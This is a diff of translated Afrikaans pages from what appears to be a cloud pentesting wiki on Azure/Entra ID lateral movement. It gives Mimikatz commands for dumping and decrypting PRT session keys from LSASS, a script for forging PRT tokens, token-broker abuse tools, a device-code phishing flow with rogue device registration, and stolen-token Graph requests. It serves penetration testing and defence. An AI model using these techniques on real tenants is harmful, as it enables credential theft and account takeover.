Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md

@@ -4,13 +4,13 @@
 
 ## Pass the Certificate (Azure)
 
-In Azure-verbonden masjiene is dit moontlik om van een masjien na 'n ander te autentiseer met behulp van sertifikate wat **uitgereik moet word deur Azure AD CA** vir die vereiste gebruiker (as die onderwerp) wanneer beide masjiene die **NegoEx** autentifikasiemeganisme ondersteun.
+In Azure-verbonden masjiene is dit moontlik om van een masjien na 'n ander te autentiseer met behulp van sertifikate wat **uitgereik moet word deur Entra ID CA** vir die vereiste gebruiker (as die onderwerp) wanneer albei masjiene die **NegoEx** autentifikasiemeganisme ondersteun.
 
 In super vereenvoudigde terme:
 
-- Die masjien (klient) wat die verbinding begin **het 'n sertifikaat van Azure AD vir 'n gebruiker** nodig.
-- Klient skep 'n JSON Web Token (JWT) kop wat PRT en ander besonderhede bevat, teken dit met behulp van die Afgeleide sleutel (met die sessiesleutel en die sekuriteitskonteks) en **stuur dit na Azure AD**.
-- Azure AD verifieer die JWT-handtekening met behulp van die klient se sessiesleutel en sekuriteitskonteks, kontroleer die geldigheid van PRT en **antwoord** met die **sertifikaat**.
+- Die masjien (klient) wat die verbinding inisieer **het 'n sertifikaat van Entra ID vir 'n gebruiker'** nodig.
+- Klient skep 'n JSON Web Token (JWT) kop wat PRT en ander besonderhede bevat, teken dit met behulp van die Afgeleide sleutel (met die sessiesleutel en die sekuriteitskonteks) en **stuur dit na Entra ID**
+- Entra ID verifieer die JWT-handtekening met behulp van die klient se sessiesleutel en sekuriteitskonteks, kontroleer die geldigheid van PRT en **antwoord** met die **sertifikaat**.
 
 In hierdie scenario en nadat al die inligting wat nodig is vir 'n [**Pass the PRT**](pass-the-prt.md) aanval verkry is:
 
@@ -24,7 +24,7 @@ Dit is moontlik om 'n **P2P-sertifikaat** vir die gebruiker aan te vra met die h
 ```bash
 RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
 ```
-Die sertifikate sal so lank duur as die PRT. Om die sertifikaat te gebruik, kan jy die python hulpmiddel [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) gebruik wat **authentiseer** na die afstandmasjien, **PSEXEC** uitvoer en 'n **CMD** op die slagoffer masjien oopmaak. Dit sal ons toelaat om Mimikatz weer te gebruik om die PRT van 'n ander gebruiker te verkry.
+Die sertifikate sal so lank duur as die PRT. Om die sertifikaat te gebruik, kan jy die python-gereedskap [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) gebruik wat **authentiseer** na die afstandmasjien, **PSEXEC** uitvoer en 'n **CMD** op die slagoffer masjien oopmaak. Dit sal ons toelaat om Mimikatz weer te gebruik om die PRT van 'n ander gebruiker te verkry.
 ```bash
 Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
 ```

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md

@@ -1,7 +0,0 @@
-# Az - Phishing Primêre Vernuwings Teken (Microsoft Entra)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-**Kontroleer:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md

@@ -2,6 +2,258 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-**Kyk die pos in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) alhoewel 'n ander pos wat dieselfde verduidelik, gevind kan word in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
+## Wat is 'n Primêre Vernuwings Teken (PRT)?
+
+'n **Primêre Vernuwings Teken (PRT)** is 'n langlewe vernuwings teken wat in Azure AD (Entra ID) verifikasie gebruik word, soortgelyk aan 'n Kerberos TGT. Dit word uitgereik wanneer 'n gebruiker aanmeld op 'n Azure AD-verbonden toestel en kan gebruik word om toegangsteke vir verskeie toepassings aan te vra sonder om weer geloofsbriewe te vra. Elke PRT word vergesel deur 'n **sessiesleutel** (ook genoem 'n Bewys-van-Besit sleutel) -- 'n simmetriese sleutel wat gebruik word om versoeke te teken en te bewys dat die kliënt die PRT het. Die PRT self is 'n ondoorgrondelike, versleutelde blob (nie leesbaar deur die kliënt nie), terwyl die sessiesleutel gebruik word om 'n JWT wat die PRT bevat te **teken** wanneer toegangsteke aangevra word. Met ander woorde, besit van die PRT alleen is onvoldoende; 'n aanvaller het die sessiesleutel nodig om legitimiteit te bewys, soortgelyk aan die behoefte aan beide 'n Kerberos TGT en sy sessiesleutel vir verifikasie.
+
+Op Windows word die PRT en sessiesleutel in die LSASS-proses gebuffer deur die CloudAP-inprop. As 'n toestel 'n **TPM** (Trusted Platform Module) het, bind Azure AD sleutels aan die TPM vir ekstra sekuriteit. Dit beteken dat op TPM-geskikte toestelle, die sessiesleutel binne die TPM gestoor of gebruik word sodat dit nie direk uit geheue gelees kan word nie onder normale omstandighede. As daar geen TPM beskikbaar is nie (bv. baie VM's of ouer stelsels), word die sleutels in sagteware gehou en met DPAPI-versleuteling beskerm. In beide gevalle kan 'n aanvaller met administratiewe regte of kode-uitvoering op die masjien probeer om die **PRT en sessiesleutel uit geheue te dump** as deel van post-exploitatie, en dit dan gebruik om die gebruiker in die wolk na te doen. Anders as tipiese vernuwings teken (wat gewoonlik toepassings-spesifiek is), is 'n PRT breër, wat jou toestel in staat stel om toegangsteke vir byna enige Entra ID-geïntegreerde hulpbron of diens aan te vra.
+
+## Hoe Werk 'n PRT?
+
+Hier is 'n vereenvoudigde uiteensetting van hoe 'n PRT werk:
+
+1.  **Toestel Registrasie:**
+
+-   Wanneer jou toestel (soos 'n Windows-laptop of mobiele telefoon) by Entra ID aansluit of registreer, verifieer dit met jou geloofsbriewe (gebruikersnaam/wagwoord/MFA).
+
+-   Na suksesvolle verifikasie, stel Entra ID 'n PRT uit wat spesifiek aan jou toestel gebind is.
+
+2.  **Teken Berging:**
+
+-   Die PRT word veilig op jou toestel gestoor, dikwels beskerm deur hardeware funksies soos die Trusted Platform Module (TPM), wat verseker dat dit moeilik is vir ongeoorloofde partye om dit te onttrek of te misbruik.
+
+3.  **Enkel Aanmelding (SSO):**
+
+-   Elke keer wanneer jy toegang tot 'n Entra ID-beskermde toepassing (bv. Microsoft 365 toepassings, SharePoint, Teams) verkry, gebruik jou toestel stilweg die gestoor PRT om 'n spesifieke toegangsteken vir daardie toepassing aan te vra en te verkry.
+
+-   Jy hoef nie jou geloofsbriewe herhaaldelik in te voer nie omdat die PRT verifikasie deursigtig hanteer.
+
+4.  **Vernuwing en Sekuriteit:**
+
+-   PRT's het 'n lang leeftyd (tipies rondom 14 dae), maar word voortdurend vernuwe solank jou toestel aktief in gebruik is.
+
+-   As jou toestel gecompromitteer of verlore raak, kan administrateurs jou PRT op afstand intrek, wat onmiddellik ongeoorloofde toegang blokkeer.
+
+### Waarom is PRT's Kragtig?
+
+-   **Universale Toegang:** Anders as tipiese teken wat beperk is tot een toepassing of hulpbron, kan 'n PRT toegang tot alle Entra ID-geïntegreerde dienste fasiliteer.
+
+-   **Verbeterde Sekuriteit:** Met ingeboude hardeware beskerming (soos TPM), verseker PRT's veilige teken berging en gebruik.
+
+-   **Gebruikerservaring:** PRT's verbeter die gebruikerservaring aansienlik deur gereelde verifikasie versoeke te verminder en werklike naatlose SSO moontlik te maak.
+
+## Hoe om te weet of 'n PRT teenwoordig is?
+
+- Kontroleer of PRT teenwoordig is:
+```bash
+# Execute
+dsregcmd /status
+## Check if the value of AzureAdPrt is set to YES
+```
+- Kontroleer of dit deur TPM beskerm word:
+```bash
+Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
+# TpmPresent/Ready = True indicates the device can bind secrets to TPM.
+
+dsregcmd /status
+# In Device State / WHfB prerequisites you’ll typically see:
+# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
+# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
+# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
+```
+## Dump en gebruik onbeskermde PRTs
+
+Volgens [hierdie pos](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) op Windows-toestelle **sonder TPM-binding**, woon die PRT en sy sessiesleutel in LSASS (CloudAP-plug‑in). Met plaaslike admin/SYSTEM op daardie toestel, kan die PRT-blob en die DPAPI-gesleutelde sessiesleutel **van LSASS gelees word, die sessiesleutel via DPAPI gedekripteer word, en die ondertekeningsleutel afgelei word** om 'n geldige PRT-koekie (`x‑ms‑RefreshTokenCredential`) te maak. Jy het beide die PRT en sy sessiesleutel nodig—die PRT-string alleen is nie genoeg nie.
+
+### Mimikatz
+```bash
+privilege::debug
+sekurlsa::cloudap
+```
+Die **PRT-veld** bevat die geënkripteerde herlaaikas (tipies 'n base64-string), en KeyValue in die ProofOfPossessionKey is die DPAPI-geënkripteerde sessiesleutel (ook base64).
+
+Kopieer dan die base64-blob van **`KeyValue`** binne die veld `ProofOfPossessionKey` uit die **`sekurlsa::cloudap`** uitvoer (dit is die sessiesleutel geënkripteer met DPAPI). Hierdie geënkripteerde sleutel kan nie soos dit is gebruik word nie – dit moet ontkrip word met die stelsel se DPAPI-akkrediteer.
+
+Omdat DPAPI-enkripsie vir stelselskeppings die masjien se stelselskonteks vereis, verhoog jou token na SYSTEM en gebruik Mimikatz se DPAPI-modules om te ontkrip:
+```bash
+token::elevate
+dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
+```
+Die `token::elevate` sal SYSTEM naboots en die `dpapi::cloudapkd` opdrag met `/unprotect` sal die DPAPI meester sleutel gebruik om die verskafde KeyValue blob te ontsleutel. Dit lewer die duidelike teks sessiesleutel en ook die geassosieerde Afgeleide Sleutel en Konteks wat gebruik is vir ondertekening:
+- **Duidelike sleutel** – die 32-byte sessiesleutel in platte teks (verteenwoordig as 'n hex string).
+- **Afgeleide Sleutel** – 'n 32-byte sleutel afgelei van die sessiesleutel en 'n kontekswaarde (meer hieroor hieronder).
+- **Konteks** – 'n 24-byte ewekansige konteks wat gebruik is toe die ondertekeningsleutel vir die PRT koekie afgelei is.
+
+> [!NOTE]
+> As dit nie vir jou werk om die gebruiker na te boots nie, kyk na die volgende afdeling met **`AADInternals`**.
+
+Dan kan jy ook mimikatz gebruik om 'n geldige PRT koekie te genereer:
+```bash
+# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
+# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
+# PRT is obtained from sekurlsa::cloudap (filed "Prt"
+dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
+```
+Mimikatz sal 'n geskrewe JWT (die `PRT cookie`) uitset na die lyn “Signature with key”, wat die PRT bevat en onderteken is met die afgeleide sleutel. Hierdie JWT kan gekopieer word en dan in 'n websessie gebruik word. Byvoorbeeld, 'n aanvaller kan 'n blaaier oopmaak, na `login.microsoftonline.com` gaan, en 'n koekie genaamd `x-ms-RefreshTokenCredential` stel met die waarde wat hierdie JWT is. Wanneer die blaaiers herlaai of navigeer, sal Azure AD die sessie as geverifieer behandel (die PRT cookie word aangebied asof SSO plaasgevind het), en dit sal 'n magtigingskode of toegangstoken vir die gespesifiseerde hulpbron uitreik. In praktyk, sou 'n mens na 'n hulpbron soos Office 365 of Azure-portaal navigeer; die teenwoordigheid van 'n geldige PRT cookie beteken dat Azure AD toegang sal verleen sonder addisionele aanmelding (om MFA te omseil, aangesien die PRT reeds geverifieer is).
+
+Jy kan ook **`roadtx`** en **`roadrecon`** met die PRT van die PRT cookie gebruik om die gebruiker na te boots *(TODO: Vind die presiese opdraglyne om roadtx/roadrecon te gebruik om akrediteer te verkry van 'n PRT)*.
+
+
+### AADInternals
+
+Die **`AADInternals`** PowerShell-module kan ook gebruik word met die voorheen verkryde PRT en sessiesleutel om 'n geldige PRT-token te genereer. Dit is nuttig om die proses van die verkryging van 'n nuwe PRT-token met nonce te outomatiseer, wat gebruik kan word om toegangstokens vir Azure AD Graph API of ander hulpbronne te verkry:
+```bash
+# Code from https://aadinternals.com/post/prt/
+# Add the PRT to a variable
+$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"
+
+# Add padding
+while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
+
+# Convert from Base 64
+$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
+
+# Add the session key (Clear key) to a variable
+$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"
+
+# Convert to byte array and base 64 encode
+$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
+
+# Generate a new PRTToken with nonce
+$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
+
+# Get an access token for MS Graph API
+Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
+```
+This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood.
+
+## Misbruik van beskermde PRTs
+
+Ten spyte van die genoemde beskermings, kan 'n aanvaller wat reeds 'n toestel gekompromitteer het (as 'n plaaslike gebruiker of selfs SYSTEM) steeds **die PRT misbruik om vars toegangstokens te verkry** deur Windows se eie token broker APIs en sekuriteitskomponente te benut. In plaas daarvan om die ruwe PRT of sleutel te **onttrek**, vra die aanvaller eintlik **"Windows om die PRT namens hulle te gebruik"**. In die afdelings hieronder, skets ons tans geldige tegnieke vir die misbruik van PRTs en hul sessiesleutels op opdatering Windows-toestelle waar TPM-beskermings in werking is. Al hierdie tegnieke neem post-exploit toegang op die teiken masjien aan, en **fokus op die misbruik van ingeboude outentikasie vloei** (geen onopgeloste kwesbaarhede benodig nie).
+
+### Windows Token Broker Argitektuur en SSO Vloei
+
+Moderne Windows hanteer wolk outentikasie via 'n ingeboude **token broker** stapel, wat komponente in beide gebruikersmodus en LSASS (Local Security Authority) insluit. Sleutelstukke van hierdie argitektuur sluit in:
+
+-   **LSASS CloudAP Plugin:** Wanneer 'n toestel Azure AD-verbonden is, laai LSASS wolk outentikasiepakkette (bv. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) wat PRTs en token versoeke bestuur. LSASS (wat as SYSTEM loop) orkestreer PRT berging, vernuwing, en gebruik, en kommunikeer met die TPM om kriptografiese operasies uit te voer (soos om 'n PRT-uitdaging met die sessiesleutel te teken).
+
+-   **Web Account Manager (WAM):** Die Windows Web Account Manager is 'n gebruikersmodus raamwerk (toeganklik via COM/WinRT APIs) wat toelaat dat toepassings of blaaiers tokens vir wolk rekeninge versoek sonder om vir akrediteer te vra. WAM dien as 'n broker tussen gebruikers toepassings en die veilige LSASS/TPM-ondersteunde PRT. Byvoorbeeld, Microsoft's MSAL biblioteek en sekere OS komponente gebruik WAM om stilweg tokens te verkry met die ingelogde gebruiker se PRT.
+
+-   **BrowserCore.exe en Token Broker COM interfaces:** Vir blaaiers SSO, sluit Windows 'n komponent genaamd **BrowserCore.exe** in (geleë onder *Windows Security\BrowserCore*). Dit is 'n inheemse boodskapgasheer wat deur blaaiers (Edge, Chrome via 'n uitbreiding, ens.) gebruik word om 'n PRT-afgeleide SSO token vir Azure AD aanmelding te verkry. Onder die oppervlak, benut BrowserCore 'n COM objek wat deur `MicrosoftAccountTokenProvider.dll` verskaf word om 'n PRT-gebaseerde koekie/token te verkry. In wese is hierdie COM-koppelvlak 'n eerste-party "token broker" API wat enige proses wat as die gebruiker loop kan aanroep om 'n SSO token te verkry (gegewe die gebruiker 'n geldige PRT in LSASS het).
+
+Wanneer 'n Azure AD-verbonden gebruiker probeer om toegang tot 'n hulpbron te verkry (sê, die Azure Portal), is die vloei tipies: 'n toepassing roep WAM of BrowserCore se COM-koppelvlak aan, wat op sy beurt met LSASS kommunikeer. LSASS gebruik die PRT en sessiesleutel (beveilig deur TPM) om 'n **SSO token** te produseer -- dikwels 'n **PRT koekie** genoem -- wat dan aan die toepassing of blaaiers teruggegee word. Die PRT koekie is 'n spesiale JWT wat die versleutelde PRT en 'n nonce bevat, onderteken met 'n sleutel wat afgelei is van die PRT se sessiesleutel. Hierdie koekie word aan Azure AD gestuur (in 'n `x-ms-RefreshTokenCredential` kop) om te bewys dat die toestel en gebruiker 'n geldige PRT het, wat Azure AD toelaat om standaard OAuth verfris en toegangstokens vir verskeie toepassings uit te reik. Opmerklik is dat enige Multi-Factor Authentication (MFA) eis wat in die PRT teenwoordig is, in tokens wat via hierdie SSO-proses verkry word, sal wees, wat beteken dat PRT-afgeleide tokens MFA-beskermde hulpbronne kan bevredig.
+
+### Gebruiker-Vlak Token Diefstal (Nie-Admin)
+
+Wanneer 'n aanvaller **gebruikersvlak kode-uitvoering** het, stop die TPM-beskerming van PRT nie die aanvaller om tokens te verkry nie. Die aanvaller **benut ingeboude Windows Token Broker APIs**:
+
+#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
+
+BrowserCore stel 'n COM klas (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) beskikbaar om PRT koekies te verkry. Hierdie COM API word wettiglik deur blaaiers (Chrome/Edge uitbreidings) vir Azure AD SSO aangeroep.
+
+-   **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
+```bash
+RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
+```
+*(Gee 'n Azure AD verfrissingstoken of PRT koekie terug)*
+
+- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
+```bash
+ROADtoken.exe --nonce <nonce-value>
+roadrecon auth --prt-cookie <cookie>
+```
+*(Genereer nonce, roep BrowserCore aan om PRT-koekie te kry, en verlos dit dan via ROADtools)*
+
+
+### **Web Account Manager (WAM) APIs**
+
+Aanvallers gebruik wettige Microsoft-authentikasiebiblioteke (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) vanaf gebruikersvlakprosesse om stilletjies tokens te verkry wat TPM-beskermde PRT benut.
+
+
+-   **[aadprt](https://posts.specterops.io/)**
+```bash
+execute-assembly aadprt.exe
+```
+*(Haal PRT koekie via COM interfaces)*
+
+-   **[listwamaccounts](https://posts.specterops.io/)**
+```bash
+execute-assembly listwamaccounts.exe
+```
+*(Lys Azure AD-rekeninge wat via WAM ingelog is; identifiseer token teikens)*
+
+-   **Generiese Voorbeeld (PowerShell met MSAL)**:
+```powershell
+$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
+$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
+$result.AccessToken
+```
+*(Stilweg 'n toegangstoken verkry deur PRT te benut)*
+
+#### Administrateur / SISTEEM-Vlak Token Misbruik
+
+As die aanvaller op **Administrateur of SISTEEM** opgradeer, kan hulle enige Azure AD ingelogde gebruiker direk naboots en dieselfde **COM/WAM token broker APIs** gebruik. TPM-beskermde PRT's voorkom nie hierdie legitieme token-uitreiking nie.
+
+### **Gebruiker Nabootsing en Token Verkryging**
+
+Admin/SISTEEM kan lopende sessies van ander gebruikers naboots om BrowserCore of WAM vir token-generasie aan te roep.
+
+Vir hierdie, naboots net die gebruikersproses (bv. `explorer.exe`) en roep die token broker APIs aan met enige tegniek wat in die vorige afdeling kommentaar gelewer is.
+
+### **Direkte LSASS & Token Broker Interaksie (Geavanceerd)**
+
+'n Administrateur kan steeds met LSASS werk om die PRT te misbruik: byvoorbeeld, 'n admin kan kode in LSASS inspuit of interne CloudAP-funksies aanroep om LSASS te dwing om 'n token te genereer. Dirk-jan se navorsing het opgemerk dat 'n admin “met PRT sleutels in LSASS kan interaksie hê deur crypto APIs”. In praktyk kan dit beteken om LSASS se eie funksies te gebruik (deur 'n tegniek soos API hooking of RPC, indien beskikbaar) om 'n PRT koekie te genereer. 'n Ander benadering is om enige venster te benut waar die sessiesleutel in geheue mag verskyn – byvoorbeeld, op die oomblik van PRT-vernuwing of toestelregistrasie wanneer dit nie versleuteld is vir gebruik nie. Sulke aanvalle is aansienlik meer kompleks en situasioneel. 'n Meer direkte admin-taktiek is om bestaande token-handvatsels of caches te misbruik: LSASS cache onlangs uitgereikte verfrissingstokens vir toepassings in geheue (versleuteld met DPAPI). 'n Vasberade SISTEEM-aanvaller kan probeer om hierdie DPAPI-beskermde tokens te onttrek (met die gebruiker se meester sleutel, wat 'n admin kan verkry) om direk verfrissingstokens vir spesifieke toepassings te steel. Tog bly die maklikste en mees generiese metode nabootsing en gebruik van die gedokumenteerde token broker interfaces, aangesien hierdie waarborg dat Azure AD vars tokens sal uitreik (met al die behoorlike aansprake) eerder as om te probeer om versleuteling te kraak.
+
+## Phishing PRTs
+
+Misbruik die **OAuth Device Code** vloei met die **Microsoft Authentication Broker kliënt ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) en die **Device Registration Service (DRS)** hulpbron om 'n **verfrissingstoken te verkry wat opgegradeer kan word na 'n Primêre Verfrissingstoken (PRT)** nadat 'n **rogue toestel** geregistreer is.
+
+### **Waarom dit werk**
+
+-   **PRT** is **toestel-gebound** en stel **SSO vir (byna) enige Entra-beskermde app** in staat.
+-   Die **Broker kliënt + DRS** kombinasie laat 'n gephishde **verfrissingstoken** toe om **verruil te word vir 'n PRT** sodra 'n toestel geregistreer is.
+-   **MFA word nie omseil nie**: die **gebruiker voer MFA** uit tydens die phishing; **MFA aansprake versprei** in die resulterende PRT, wat die aanvaller toelaat om toegang tot toepassings te verkry **sonder verdere vrae**.
+
+**Vereistes**:
+
+-   **Gebruikersverifikasie via Toestelkode** met die **Broker kliënt ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) en **DRS skope/hulpbron** (bv. **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** of **`https://enrollment.manage.microsoft.com/`**).
+-   **Gebruiker kan toestelle registreer** in Entra ID (**standaard: toegelaat**, maar kan beperk of kwota-beperk wees).
+-   **Geen blokkerende CA-beleide** wat **Toestelkode** deaktiveer of **kompeterende/hybride toestelle** vereis vir teiken toepassings nie (daardie sal nie PRT-uitreiking stop nie, maar **sal** die **gebruik** daarvan om toegang tot beskermde toepassings te verkry blokkeer).
+-   **Aanvaller-beheerde gasheer** om die vloei te laat loop en die tokens/toestelsleutels te hou.
+
+**Aanval Vloei**:
+
+1.  **Begin Toestelkode verifikasie** met **client_id = Broker** en **DRS skoop/hulpbron**; wys die **gebruiker kode** aan die slagoffer.
+```bash
+curl -s -X POST \
+"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
+-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
+-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
+```
+2.  **Slachtoffer teken in op Microsoft se webwerf** (legitieme UI) en voltooi **MFA** → **aanvaller ontvang 'n DRS‑geskepte verfrissingstoken** vir die Broker-kliënt.
+
+3.  **Registreer 'n rogue toestel** in die tenant met behulp van daardie verfrissingstoken (toestelobjek word geskep en aan die slachtoffer gekoppel).
+
+4.  **Opgradeer na 'n PRT** deur die **verfrissingstoken + toestelidentiteit/sluitings** te ruil → **PRT** gebonde aan die aanvaller se toestel.
+
+5.  **(Opsionele volharding)**: as MFA vars was, **registreer 'n Windows Hello for Business-sleutel** om **langtermyn, wagwoordlose toegang** te handhaaf.
+
+6.  **Misbruik**: verlos die **PRT** (of maak 'n **PRT-kookie**) om **toegangstokens** vir **Exchange/Graph/SharePoint/Teams/pasgemaakte toepassings** as die gebruiker te verkry.
+
+
+### Publieke Gereedskap en Bewys-van-Konsepte
+
+- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Automatiseer OAuth-stroom, toestelregistrasie, en token-opgraderings.
+- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Enkel-opdrag skrip wat toestelkode phish-to-PRT+WHfB sleutels automatiseer.
+
+
+## Verwysings
+
+- [Dirkjan se blogpos oor PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
+- [Dirkjan se pos oor phishing PRTs](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
+- [Dirkjan se pos oor die misbruik van PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
+- SpecterOps pos oor [Aansoek om Azure AD Aansoek Tokens](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
+- [AADInternals pos oor PRTs](https://aadinternals.com/post/prt/)
+- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md

@@ -4,13 +4,13 @@
 
 ## **Basiese Inligting**
 
-Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), sommige Microsoft sagteware wat met die wolk gesinkroniseer is (Excel, Teams...) mag **toegangstokens in duidelike teks in geheue stoor**. So net **dumping** die **geheue** van die proses en **grepping vir JWT tokens** mag jou toegang gee tot verskeie hulpbronne van die slagoffer in die wolk terwyl jy MFA omseil.
+Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), sommige Microsoft sagteware wat met die wolk gesinkroniseer is (Excel, Teams...) mag **toegangstokens in duidelike teks in geheue stoor**. So net **dumping** die **geheue** van die proses en **grepping vir JWT tokens** mag jou toegang gee tot verskeie hulpbronne van die slagoffer in die wolk terwyl MFA omseil word.
 
 Stappe:
 
 1. Dump die excel prosesse wat gesinkroniseer is met die EntraID gebruiker met jou gunsteling hulpmiddel.
 2. Voer in: `string excel.dmp | grep 'eyJ0'` en vind verskeie tokens in die uitvoer
-3. Vind die tokens wat jou die meeste interesseer en voer hulpmiddels oor hulle uit:
+3. Vind die tokens wat jou die meeste interesseer en voer hulpmiddels daaroor uit:
 ```bash
 # Check the identity of the token
 curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
@@ -27,8 +27,7 @@ curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/site
 curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
 
 ## Finally, download a file from that drive:
-┌──(magichk㉿black-pearl)-[~]
-└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
+curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
 ```
 **Let wel dat hierdie tipe toegangstokens ook in ander prosesse gevind kan word.**
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md

@@ -4,46 +4,72 @@
 
 **Hierdie pos is 'n opsomming van** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **wat nagegaan kan word vir verdere inligting oor die aanval. Hierdie tegniek word ook bespreek in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
 
-## Basiese Inligting
+## Kerberos Trust Relationship Oorsig
 
-### Vertroue
+**Cloud Kerberos Trust (Entra ID -> AD)** -- Hierdie funksie (deel van Windows Hello for Business) stel 'n eenrigting vertroue in waar on-prem AD **vertrou Entra ID** om Kerberos kaartjies vir AD uit te reik. Dit aktiveer die skep van 'n **AzureADKerberos$** rekenaarobjek in AD (wat verskyn as 'n Lees-Alleen Domeinbeheerder) en 'n gekoppelde **`krbtgt_AzureAD`** rekening (n sekondêre KRBTGT). Entra ID hou die sleutels vir hierdie rekeninge en kan "gedeeltelike" Kerberos TGTs vir AD gebruikers uitreik. AD domeinbeheerder sal hierdie kaartjies eer, maar met RODC-agtige beperkings: per standaard, **hoë-privilege groepe (Domein Administrators, Enterprise Administrators, ens.) is *weggesluit*** en gewone gebruikers word toegelaat. Dit verhoed dat Entra ID domein administrateurs onder normale omstandighede via die vertroue kan verifieer. Maar soos ons sal sien, kan 'n aanvaller met voldoende Entra ID voorregte hierdie vertrou ontwerp misbruik.
 
